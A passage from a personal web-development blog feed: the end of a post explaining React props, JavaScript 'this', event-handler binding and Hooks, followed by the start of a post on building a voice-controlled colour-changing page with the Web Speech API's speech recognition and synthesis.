&lt;p&gt;Based on the above example, you can see that the props came from the JSX attributes on the &lt;code&gt;Player&lt;/code&gt; component. This is what ends up getting rendered in the browser:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;div id=&amp;quot;root&amp;quot;&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;p&amp;gt;Ashlyn Harris plays for the Orlando Pride.&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;Megan Rapinoe plays for the Reign FC.&amp;lt;/p&amp;gt;
    &amp;lt;p&amp;gt;Julie Ertz plays for the Chicago Red Stars.&amp;lt;/p&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;What is &lt;code&gt;this&lt;/code&gt;?&lt;/h2&gt;
&lt;p&gt;Some of you may have noticed that the function component uses &lt;code&gt;props.name&lt;/code&gt; while the class component uses &lt;code&gt;this.props.name&lt;/code&gt; to access the required data. &lt;code&gt;this&lt;/code&gt; is not a React thing, it is a JavaScript thing. It is a JavaScript thing that has spawned more blog posts that I can count.&lt;/p&gt;
&lt;p&gt;Let me try to give you the short version. Everything in JavaScript is an object. &lt;code&gt;this&lt;/code&gt; refers to the object which is the current execution context of your bit of code.&lt;/p&gt;
&lt;p&gt;Smarter people than me have explained this in depth so please feel free to read any or all of the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/javascript-scene/what-is-this-the-inner-workings-of-javascript-objects-d397bfa0708a&quot;&gt;What is &lt;code&gt;this&lt;/code&gt;? The Inner Workings of JavaScript Objects&lt;/a&gt; by &lt;a href=&quot;https://twitter.com/_ericelliott&quot;&gt;Eric Elliot&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/3127440/2873785&quot;&gt;Community answer to &amp;quot;How does the “this” keyword work?&amp;quot; on StackOverflow&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/the-magic-of-the-this-keyword-in-javascript-ce3ce571013e/&quot;&gt;The magic of the “this” keyword in JavaScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Personally, React made understanding &lt;code&gt;this&lt;/code&gt; even more important because of how events are handled. Bear with me on this (Get it? this? Okay, I&apos;m sorry, my humour is terrible)&lt;/p&gt;
&lt;h2&gt;Event handling&lt;/h2&gt;
&lt;p&gt;React implements its own synthetic event handling, which their cross-browser wrapper around the browser&apos;s native event. It works great, that&apos;s not the problem. The issue is how JavaScript handles functions in general.&lt;/p&gt;
&lt;p&gt;In JSX, the event handler is passed as a function, i.e. &lt;code&gt;&amp;lt;button onClick={handleClick}&amp;gt;Click me&amp;lt;/button&amp;gt;&lt;/code&gt; instead of a string as is the case in HTML, i.e. &lt;code&gt;&amp;lt;button onclick=&amp;quot;handleClick()&amp;quot;&amp;gt;Click me&amp;lt;/button&amp;gt;&lt;/code&gt;. The thing is, class methods are not bound by default in JavaScript.&lt;/p&gt;
&lt;p&gt;When we pass the &lt;code&gt;handleClick&lt;/code&gt; function to &lt;code&gt;onClick&lt;/code&gt;, we are passing a reference to &lt;code&gt;handleClick&lt;/code&gt;. The function is called by React&apos;s event handling system so the context of &lt;code&gt;this&lt;/code&gt; gets lost. If you don&apos;t bind &lt;code&gt;this.handleClick&lt;/code&gt; and pass it to &lt;code&gt;onClick&lt;/code&gt;, &lt;code&gt;this&lt;/code&gt; ends up being undefined when you call the function.&lt;/p&gt;
&lt;p&gt;I highly suggest reading &lt;a href=&quot;https://codeburst.io/understanding-that-and-bind-8778f779b149&quot;&gt;Understanding this and .bind()&lt;/a&gt; for an in-depth explanation.&lt;/p&gt;
&lt;h2&gt;Updating state with event handlers&lt;/h2&gt;
&lt;p&gt;A very common use-case for event handlers is to update the state of your React component. The suggested way of ensuring &lt;code&gt;this&lt;/code&gt; works correctly in your class component is to bind it in the constructor.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class Button extends React.Component {
  constructor(props) {
    super(props);
    this.state = {
      clicked: false,
    };
    this.handleClick = this.handleClick.bind(this);
  }

  handleClick() {
    this.setState((state) =&amp;gt; ({
      clicked: !state.clicked,
    }));
  }

  render() {
    return &amp;lt;button onClick={this.handleClick} /&amp;gt;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But apparently, using &lt;code&gt;bind()&lt;/code&gt; is icky for many people. No matter, there are ways around that. So the next suggested way of ensuring &lt;code&gt;this&lt;/code&gt; works as planned is via arrow functions.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;class Button extends React.Component {
  state = { clicked: false };

  handleClick = () =&amp;gt; {
    this.setState((state) =&amp;gt; ({
      clicked: !state.clicked,
    }));
  };

  render() {
    return &amp;lt;button onClick={this.handleClick} /&amp;gt;;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is because arrow functions use the value of &lt;code&gt;this&lt;/code&gt; in the scope it had been defined in. This is known as lexical scoping. The arrow function preserves its binding to &lt;code&gt;this&lt;/code&gt; when it gets passed around.&lt;/p&gt;
&lt;p&gt;Which brings us to the new hotness known as Hooks. According to the docs, Hooks let you use state and other React features without writing a class.&lt;/p&gt;
&lt;p&gt;The React team found that classes were a barrier to learning React, unintentionally encouraged patterns that were detrimental to their attempts at optimisation, and also made tooling tricky.&lt;/p&gt;
&lt;p&gt;In short, Hooks allow us to access more nifty React features without having to write classes. Embrace functions, my friends. When you use Hooks, guess what? No need to think about &lt;code&gt;this&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function Button() {
  const [clicked, setClick] = useState(false);
  const handleClick = () =&amp;gt; setClick(!clicked);

  return &amp;lt;button onClick={handleClick} /&amp;gt;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Demo&lt;/h2&gt;
&lt;p&gt;I built a demo of a generic social media app status component using the 3 different methods I went through above. The only interactive functionality is you can toggle the Like button, and input text in the text area up to 140 characters. ¯\_(ツ)_/¯&lt;/p&gt;
&lt;iframe
  src=&quot;https://codesandbox.io/embed/react-status-widget-8hdit?fontsize=14&amp;hidenavigation=1&amp;theme=dark&quot;
  style=&quot;width:100%; height:500px; border:0; border-radius: 4px; overflow:hidden;&quot;
  title=&quot;react-status-widget&quot;
  allow=&quot;geolocation; microphone; camera; midi; vr; accelerometer; gyroscope; payment; ambient-light-sensor; encrypted-media; usb&quot;
  sandbox=&quot;allow-modals allow-forms allow-popups allow-scripts allow-same-origin&quot;
&gt;&lt;/iframe&gt;
&lt;p&gt;Feel free to fork it and mess around with the code. And please do tell me if anything I mentioned doesn&apos;t make sense, is bad practice or just plain wrong. This was essentially a brain dump of what I&apos;ve been learning about React lately, so I expect many errors.&lt;/p&gt;
&lt;p&gt;If you spot something wrong and have a spare minute, I&apos;d appreciate it if you let me know :)&lt;/p&gt;
&lt;h2&gt;Useful further reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://overreacted.io/why-do-we-write-super-props/&quot;&gt;Why Do We Write super(props)?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://overreacted.io/how-are-function-components-different-from-classes/&quot;&gt;How Are Function Components Different from Classes?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reactjs.org/docs/components-and-props.html&quot;&gt;From the React docs: Components and Props&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reactjs.org/docs/state-and-lifecycle.html&quot;&gt;From the React docs: State and Lifecycle&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://reactjs.org/docs/handling-events.html&quot;&gt;From the React docs: Handling Events&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Optional story time… (feel free to disagree with my opinion)&lt;/h2&gt;
&lt;p&gt;I&apos;ve been late to the React party partially because I hadn&apos;t worked on any projects that used it, and also, I found the React community relatively more dramatic than most.&lt;/p&gt;
&lt;p&gt;As such, I hadn&apos;t bothered to try it out and understand it until fairly recently. I consider this similar to the sentiment many developers have toward CSS (similar, not the same, because you can&apos;t run away from CSS though you can still somewhat run away from React).&lt;/p&gt;
&lt;p&gt;In retrospect, I have been unfair to React, the technology. My approach to learning React was to go straight to the documentation (which I think is great), and also read posts by folks actually working on React or are very close to the codebase.&lt;/p&gt;
&lt;p&gt;Because I want to know the rationale behind their design decisions, and the reason why certain things are done in a certain way. I appreciate it when they are able to articulate and explain new features and more importantly, the motivation behind them.&lt;/p&gt;
&lt;p&gt;A big plus for me are also explanations of the trade-offs made, which provides excellent context of why certain limitations and issues exist. In a way, it is both easier and harder to learn React these days.&lt;/p&gt;
&lt;p&gt;Easier because there are way more resources now and it&apos;s easier to find one that clicks with your learning style. Harder because there are way more resources now, and you might end up confused with the different ways of doing things that have changed over the years.&lt;/p&gt;
&lt;p&gt;That being said, it&apos;s been fairly interesting so far, so let&apos;s see where this goes. I might write more brain dumps moving forward as well. It depends. Life.&lt;/p&gt;
</content:encoded></item><item><title>Is your browser a polyglot?</title><link>https://chenhuijing.com/blog/is-your-browser-a-polyglot/</link><guid isPermaLink="true">https://chenhuijing.com/blog/is-your-browser-a-polyglot/</guid><description>Over the course of last year, I&apos;ve gone over to Wei&apos;s workplace numerous times to disturb her and her colleagues during their internal sharing, not to be…</description><pubDate>Wed, 15 Jan 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over the course of last year, I&apos;ve gone over to &lt;a href=&quot;https://wgea.io/&quot;&gt;Wei&lt;/a&gt;&apos;s workplace numerous times to disturb her and her colleagues during their internal sharing, not to be confused with the community meetup, &lt;a href=&quot;https://reactknowledgeable.org/&quot;&gt;React Knowledgeable&lt;/a&gt;. I think the internal sharing&apos;s unofficial name is RK Originals, maybe. Who knows?&lt;/p&gt;
&lt;p&gt;Most time, I just sit there and do nothing, other times, I talk about stuff. The last thing I talked about was the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API&quot;&gt;Web Speech API&lt;/a&gt;, which stemmed from one of the many stupid ideas I have. Basically, I wanted to yell at my browser and make it change colours on a website.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-speech/site-480.png 480w, /images/posts/web-speech/site-640.png 640w, /images/posts/web-speech/site-960.png 960w, /images/posts/web-speech/site-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-speech/site-640.png&quot; alt=&quot;Let&apos;s talk CSS colours website&quot;&gt;
&lt;p&gt;It was for the 4th anniversary of &lt;a href=&quot;https://singaporecss.github.io/45/&quot;&gt;Talk.CSS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What do you mean, why?&lt;/p&gt;
&lt;p&gt;So anyway, &lt;a href=&quot;https://singaporecss.github.io/colour-speech/&quot;&gt;stupid website&lt;/a&gt; was built, and the yelling worked. I had to yell because until today, I have no idea where the microphone is on my MacBook. &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;During the talk, we messed around with the different options for voices (and hence accents), but we soon found that other than English, the options for other languages were limited.&lt;/p&gt;
&lt;p&gt;Which led me to dig a little deeper into how international the Web Speech API actually is.&lt;/p&gt;
&lt;h2&gt;What is this Web Speech API?&lt;/h2&gt;
&lt;p&gt;The Web Speech API is not a web standard, it is a community report developed and published by the &lt;a href=&quot;https://www.w3.org/community/speech-api/&quot;&gt;Speech API Community Group&lt;/a&gt;, with the first draft released by in 2012.&lt;/p&gt;
&lt;p&gt;According to &lt;a href=&quot;https://wicg.github.io/speech-api/&quot;&gt;the document&lt;/a&gt;, this API is meant to:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;enable developers to use scripting to generate text-to-speech output and to use speech recognition as an input for forms, continuous dictation and control&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Note the &lt;strong&gt;2 distinct parts&lt;/strong&gt;, namely &lt;em&gt;text-to-speech&lt;/em&gt;, where your browser can read out the text on the screen, and &lt;em&gt;speech recognition&lt;/em&gt;, which lets us use voice as an input and interface medium.&lt;/p&gt;
&lt;p&gt;Speech recognition in the browser. Now that sounds pretty interesting. Browser APIs are essentially JavaScript. Which is why someone like me who never went to school for Computer Science, can somehow cobble together projects that go beyond just a webpage.&lt;/p&gt;
&lt;p&gt;I love the web.&lt;/p&gt;
&lt;p&gt;But upon some further research, I soon realised that speech-to-text is not like text-to-speech. If you read through the &lt;a href=&quot;https://wiki.mozilla.org/Web_Speech_API_-_Speech_Recognition&quot;&gt;Mozilla Wiki for the Web Speech API&lt;/a&gt;, it states that the speech recognition portion of the WebSpeech API allows websites to enable &lt;strong&gt;speech input&lt;/strong&gt; within their experiences.&lt;/p&gt;
&lt;p&gt;But it is &lt;strong&gt;not&lt;/strong&gt; speech recognition by the browser. It is up to individual sites to determine how voice is integrated into the experience, how it is triggered and how to display recognition results.&lt;/p&gt;
&lt;p&gt;In a sense, speech-to-text is slightly more complicated than text-to-speech because the processing is not done locally. Instead, the audio clip is sent over to Google’s &lt;a href=&quot;https://cloud.google.com/speech-to-text/&quot;&gt;Cloud Speech-to-Text&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The Speech to Text section of &lt;a href=&quot;https://www.google.com/chrome/privacy/whitepaper.html#speech&quot;&gt;Google&apos;s privacy whitepaper&lt;/a&gt; states that:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Chrome supports the Web Speech API, a mechanism for converting speech to text on a web page. It uses Google&apos;s servers to perform the conversion.&lt;br&gt;
Using the feature sends an audio recording to Google (audio data is not sent directly to the page itself), along with the domain of the website using the API, your default browser language and the language settings of the website.&lt;br&gt;
Cookies are not sent along with these requests.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is why support for the &lt;code&gt;SpeechRecognition&lt;/code&gt; interface of the WebSpeech API currently looks like this:&lt;/p&gt;
&lt;p class=&quot;ciu_embed&quot; data-feature=&quot;speech-recognition&quot; data-periods=&quot;future_1,current,past_1,past_2&quot; data-accessible-colours=&quot;false&quot;&gt;
  &lt;a href=&quot;http://caniuse.com/#feat=speech-recognition&quot;&gt;
    &lt;picture&gt;
      &lt;source type=&quot;image/webp&quot; srcset=&quot;https://caniuse.bitsofco.de/image/speech-recognition.webp&quot;&gt;
      &lt;img src=&quot;https://caniuse.bitsofco.de/image/speech-recognition.png&quot; alt=&quot;Data on support for the speech-recognition feature across the major browsers from caniuse.com&quot;&gt;
    &lt;/picture&gt;
  &lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: I&apos;m using the &lt;a href=&quot;http://caniuse.com&quot;&gt;caniuse.com&lt;/a&gt; embed, which as of 28 Dec 2019, shows experimental support in Chromium-powered browsers only. So if you&apos;re reading this in the far future, I hope it&apos;s more green than red.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Then I discovered &lt;a href=&quot;https://github.com/mozilla/DeepSpeech&quot;&gt;Mozilla&apos;s DeepSpeech&lt;/a&gt;, an open source Speech-To-Text engine, which implements a Tensorflow-trained model based on this research paper titled &lt;a href=&quot;https://arxiv.org/abs/1412.5567&quot;&gt;Deep Speech: Scaling up end-to-end speech recognition&lt;/a&gt;, published by Baidu.&lt;/p&gt;
&lt;p&gt;In Firefox Nightly 72.0a1 (2019-10-22) and newer, the SpeechRecognition API is available behind a flag, and you have to turn the &lt;em&gt;media.webspeech.recognition.enable&lt;/em&gt; and &lt;em&gt;media.webspeech.recognition.force_enable&lt;/em&gt; preferences on to use it.&lt;/p&gt;
&lt;p&gt;For now, the audio is processed by Google’s Cloud Speech-to-Text but Mozilla has plans to replace the service with DeepSpeech in 2020.&lt;/p&gt;
&lt;p class=&quot;note&quot;&gt;While reading the WebSpeech API document, I was curious about the language used to define the interface. It was then that I learned of the existence of the &lt;a href=&quot;https://heycam.github.io/webidl/&quot;&gt;Web IDL&lt;/a&gt;, which is an interface description language used to describe interfaces to be implemented by browsers &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;exploding head&quot;&gt;&amp;#x1F92F;&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;Making my browser understand my yelling&lt;/h2&gt;
&lt;p&gt;People who are a lot more early-adopter than myself have been talking about voice interfaces and the WebSpeech API for years prior. So in a bid to get myself a little more familiarised, I decided to do what many web developers seem to gravitate toward.&lt;/p&gt;
&lt;p&gt;I built a website (I don&apos;t know what constitutes an app so &lt;span class=&quot;kaomoji&quot;&gt;¯\_(ツ)_/¯&lt;/span&gt;).&lt;/p&gt;
&lt;p&gt;Specifically, I built a website I can yell CSS at. Okay, slightly untrue. I technically am yelling colours at the website, but named colours are legitimate CSS values, so…&lt;/p&gt;
&lt;p&gt;This didn&apos;t require too much work because CSS values are by default in English (as with practically all programming languages). Speech-to-text quality for the English language is probably the most spot-on around, I&apos;m guessing.&lt;/p&gt;
&lt;h3&gt;A bit about speech recognition&lt;/h3&gt;
&lt;p&gt;Speech recognition systems are meant to help computers parse and identify what is being said from human speech. If this sounds simple to you, I can assure you it is not. I mean, as a human, I can&apos;t even parse and identify what other humans say sometimes.&lt;/p&gt;
&lt;p&gt;So current technology is unable to listen to any speech in any context and transcribe it accurately. Current speech recognition systems limit the bounds of what they listen to by using grammars. Grammars determine what the system should listen for and describe the utterances an user might say.&lt;/p&gt;
&lt;p&gt;The WebSpeech API uses the &lt;a href=&quot;https://www.w3.org/TR/jsgf/&quot;&gt;JSpeech Grammar Format&lt;/a&gt;. If you peek at this specification, it defines a grammar as a set of rules that together define what may be spoken. I&apos;m calling mine &lt;code&gt;&amp;lt;colour&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const colours = [&apos;maroon&apos;, &apos;darkred&apos;, &apos;brown&apos;, … /* All 148 named CSS colours as an array of strings */];
const grammar = &apos;#JSGF V1.0; grammar colours; public &amp;lt;colour&amp;gt; = &apos; + colours.join(&apos; | &apos;) + &apos; ;&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;|&lt;/code&gt; character is used as a separator for the list of colours I want in my defined grammar. Given that we have 148 named CSS colours, it&apos;d be easier to have them in an array then use &lt;code&gt;join()&lt;/code&gt; to format the strings nicely.&lt;/p&gt;
&lt;h3&gt;Basic idea and interface&lt;/h3&gt;
&lt;p&gt;What I had in mind at the start was something along the lines of this:&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-speech/idea-480.jpg 480w, /images/posts/web-speech/idea-640.jpg 640w, /images/posts/web-speech/idea-960.jpg 960w, /images/posts/web-speech/idea-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-speech/idea-640.jpg&quot; alt=&quot;Initial idea sketch&quot;&gt;
&lt;p&gt;I assumed there needed to be some sort of button to trigger the permissions prompt that I often see when the browser wants to use your microphone for things. Since it&apos;s the only thing on the page, might as well make it huge, right?&lt;/p&gt;
&lt;p&gt;And then, once we can capture someone&apos;s voice, we can transcribe that into a usable CSS named colour to be applied to the background of the site, preferably using CSS custom properties.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;:root {
  --bg-colour: transparent;
}

body {
  background-color: var(--bg-colour, transparent);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;/* namedColour should be the result from the speech recognition engine */
docBody.style.setProperty(&amp;quot;--bg-colour&amp;quot;, namedColour);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s the general idea.&lt;/p&gt;
&lt;h3&gt;Someone did it already&lt;/h3&gt;
&lt;p&gt;A little bit into the project, I found that MDN already had a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Speech_API/Using_the_Web_Speech_API&quot;&gt;tutorial&lt;/a&gt; plus &lt;a href=&quot;https://mdn.github.io/web-speech-api/speech-color-changer/&quot;&gt;demo&lt;/a&gt; of a Speech color changer. Oh well.&lt;/p&gt;
&lt;p&gt;But I must say that it is a very in-depth and well-written tutorial so if you&apos;re interested in getting started, I highly recommend it.&lt;/p&gt;
&lt;p&gt;The bits of my website which use &lt;code&gt;SpeechRecognition&lt;/code&gt; and &lt;code&gt;SpeechSynthesis&lt;/code&gt; are similar to the demo, but I still ran into some trouble with the &lt;a href=&quot;https://wicg.github.io/speech-api/#eventdef-speechsynthesis-voiceschanged&quot;&gt;voiceschanged&lt;/a&gt; event for cross-browser compatibility.&lt;/p&gt;
&lt;p&gt;I suppose that&apos;s what you get with experimental technologies and implementations, code gets stale real quick. So while we are on the topic of cross-browser support, I start off the code with this bit:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;const speechRecognition =
  window.webkitSpeechRecognition ||
  window.mozSpeechRecognition ||
  window.msSpeechRecognition ||
  window.oSpeechRecognition ||
  window.SpeechRecognition;
const speechGrammarList =
  window.webkitSpeechGrammarList ||
  window.mozSpeechGrammarList ||
  window.msSpeechGrammarList ||
  window.oSpeechGrammarList ||
  window.SpeechGrammarList;
const speechSynthesis = window.speechSynthesis;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s pretty much to cover different browser implementations if they decide to use vendor-prefixes.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;if (speechRecognition !== undefined) {
  addClass(&amp;quot;speech&amp;quot;);
  detectSpeech();
} else {
  addClass(&amp;quot;no-speech&amp;quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also, sprinkle on some CSS classes to indicate if a browser doesn&apos;t support &lt;code&gt;SpeechRecognition&lt;/code&gt; yet. I used to do this with pseudo-elements when I didn&apos;t or couldn&apos;t add an additional HTML element to hold the warning text, but realised that was a really inaccessible way to do things.&lt;/p&gt;
&lt;p&gt;My suggestion for messing around with experimental APIs is to have a script to detect if the browser supports it or not, then design and build your demo or application to handle either scenario. It doesn&apos;t have to be a major effort, sometimes a small message will do.&lt;/p&gt;
&lt;h3&gt;Less talk more code&lt;/h3&gt;
&lt;p&gt;Now, on to the meat of the project. We start off by creating a new &lt;code&gt;speechRecognition()&lt;/code&gt; instance as well as a new &lt;code&gt;speechGrammarList()&lt;/code&gt;, to hold all our SpeechGrammar objects.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function detectSpeech() {
  const recognition = new speechRecognition();
  const speechRecognitionList = new speechGrammarList();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;speechGrammarList()&lt;/code&gt; object has a method called &lt;code&gt;addFromString()&lt;/code&gt;, which takes in a our grammar as a string. There is an optional second parameter that defines the weight of this grammar in relation to others in the array.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;speechRecognitionList.addFromString(grammar, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;speechRecognition()&lt;/code&gt; instance also has a number of attributes which we can set. The first thing is to add our &lt;code&gt;SpeechGrammarList&lt;/code&gt; to the instance with the &lt;code&gt;grammars&lt;/code&gt; attribute. Use &lt;code&gt;lang&lt;/code&gt; to set the language of the recognition for the request.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;recognition.grammars = speechRecognitionList;
recognition.lang = &amp;quot;en-US&amp;quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The other 3 attributes are &lt;code&gt;continuous&lt;/code&gt;, which allows the user agent to return more than 1 final result representing multiple consecutive responses to starting a recognition. &lt;code&gt;interimResults&lt;/code&gt; controls whether interim results of the recognition are returned and &lt;code&gt;maxAlternatives&lt;/code&gt; sets the maximum number of alternatives returned.&lt;/p&gt;
&lt;p&gt;All these attributes have default values which I left alone because my application only used the most simple of basic functions.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;speechRecognition()&lt;/code&gt; instance also has a number of methods, which are used to actually do stuff. Calling the &lt;code&gt;start()&lt;/code&gt; method indicates that you want the service to start listening and matching grammars with the input media stream. I trigger this when the big ol&apos; button is pressed.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;micBtn.addEventListener(
  &amp;quot;click&amp;quot;,
  function () {
    recognition.start();
    consoleLog.innerHTML = &amp;quot;Ready to receive a colour command.&amp;quot;;
  },
  false
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Speech recognition on the web, like many web APIs, is an event-driven interface. SpeechRecognition uses the DOM Level 2 Event Model for this, and we can listen to a bunch of events to know when to make our application do certain things.&lt;/p&gt;
&lt;p&gt;The most important, IMO, is when results come in. The &lt;code&gt;result&lt;/code&gt; event will be fired when a result is successfully received. We get returned an object called the &lt;code&gt;SpeechRecognitionResultsList&lt;/code&gt; that has a bunch of &lt;code&gt;SpeechRecognitionResult&lt;/code&gt; objects.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/web-speech/resultslist-480.png 480w, /images/posts/web-speech/resultslist-640.png 640w, /images/posts/web-speech/resultslist-960.png 960w, /images/posts/web-speech/resultslist-1280.png 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/web-speech/resultslist-640.png&quot; alt=&quot;Console log of the SpeechRecognitionResultsList object&quot;&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;recognition.onresult = function (event) {
  const last = event.results.length - 1;
  const colour = event.results[last][0].transcript;
  const sanitiseColour = colour.replace(/\s/g, &amp;quot;&amp;quot;);
  consoleLog.innerHTML =
    &amp;quot;You probably said: &amp;quot; + sanitiseColour + &amp;quot;.\nConfidence: &amp;quot; + event.results[0][0].confidence;
  docBody.style.setProperty(&amp;quot;--bg-colour&amp;quot;, sanitiseColour);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To get to the transcript of what was said and sent to the recognition engine, we use &lt;code&gt;event.results[last][0].transcript&lt;/code&gt;. We can use that syntax because the results object comes with a getter.&lt;/p&gt;
&lt;p&gt;We then remove the spaces between words because CSS colour values don&apos;t work with spaces, then print the result to screen. That same value can be used to update the CSS custom property of &lt;code&gt;--bg-colour&lt;/code&gt; and change the colour of the background of the web page.&lt;/p&gt;
&lt;p&gt;After all is said and done, we want to stop listening to more audio, so call &lt;code&gt;stop()&lt;/code&gt; when the &lt;code&gt;speechend&lt;/code&gt; event fires.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;recognition.onspeechend = function () {
  recognition.stop();
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If the speech recognition engine can&apos;t tell what was being said, the &lt;code&gt;nomatch&lt;/code&gt; event will fire and we can inform the user that we didn&apos;t pick up what was said.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;recognition.onnomatch = function () {
  consoleLog.innerHTML = &amp;quot;Sorry, could not tell what you said.&amp;quot;;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, in case of some other error, we want to display that to the user as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;recognition.onerror = function (event) {
  consoleLog.innerHTML = &amp;quot;Recognition error: &amp;quot; + event.error;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I then got the hare-brained idea to add the second part of the WebSpeech API into this ridiculous demo as well. Because why shouldn&apos;t we get the browser to read the results back to us?&lt;/p&gt;
&lt;h3&gt;Making the browser respond&lt;/h3&gt;
&lt;p&gt;I was under the impression that text-to-speech could be done locally but I also noticed one of the SpeechSynthesis methods was &lt;code&gt;getVoices()&lt;/code&gt;, which returns a list of available voices on the current device.&lt;/p&gt;
&lt;p&gt;So I had a function that would populate a &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element with a list of voices to pick from the read the results. &lt;code&gt;getVoices()&lt;/code&gt; returns an array, which we can then loop over and generate &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; values for the select dropdown.&lt;/p&gt;
&lt;p&gt;Each option would have attributes for the name of the voice (&lt;code&gt;.name&lt;/code&gt;) and the language of the voice (&lt;code&gt;.lang&lt;/code&gt;) which are both retrieved from &lt;code&gt;getVoices()&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function populateVoiceList() {
  const select = document.getElementById(&amp;quot;pickVoice&amp;quot;);
  voices = speechSynthesis.getVoices();
  voices.forEach(function (voice) {
    const option = document.createElement(&amp;quot;option&amp;quot;);
    option.textContent = voice.name + &amp;quot; (&amp;quot; + voice.lang + &amp;quot;)&amp;quot;;
    if (voice.default) {
      option.textContent += &amp;quot; -- DEFAULT&amp;quot;;
    }
    option.setAttribute(&amp;quot;data-lang&amp;quot;, voice.lang);
    option.setAttribute(&amp;quot;data-name&amp;quot;, voice.name);
    select.appendChild(option);
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After some searching around, I found this article by &lt;a href=&quot;https://flaviocopes.com/&quot;&gt;Flavio Copes&lt;/a&gt; which highlighted a cross browser issue with Chrome&apos;s &lt;code&gt;speechSynthesis.getVoices()&lt;/code&gt; that needed a callback when the voices had been loaded.&lt;/p&gt;
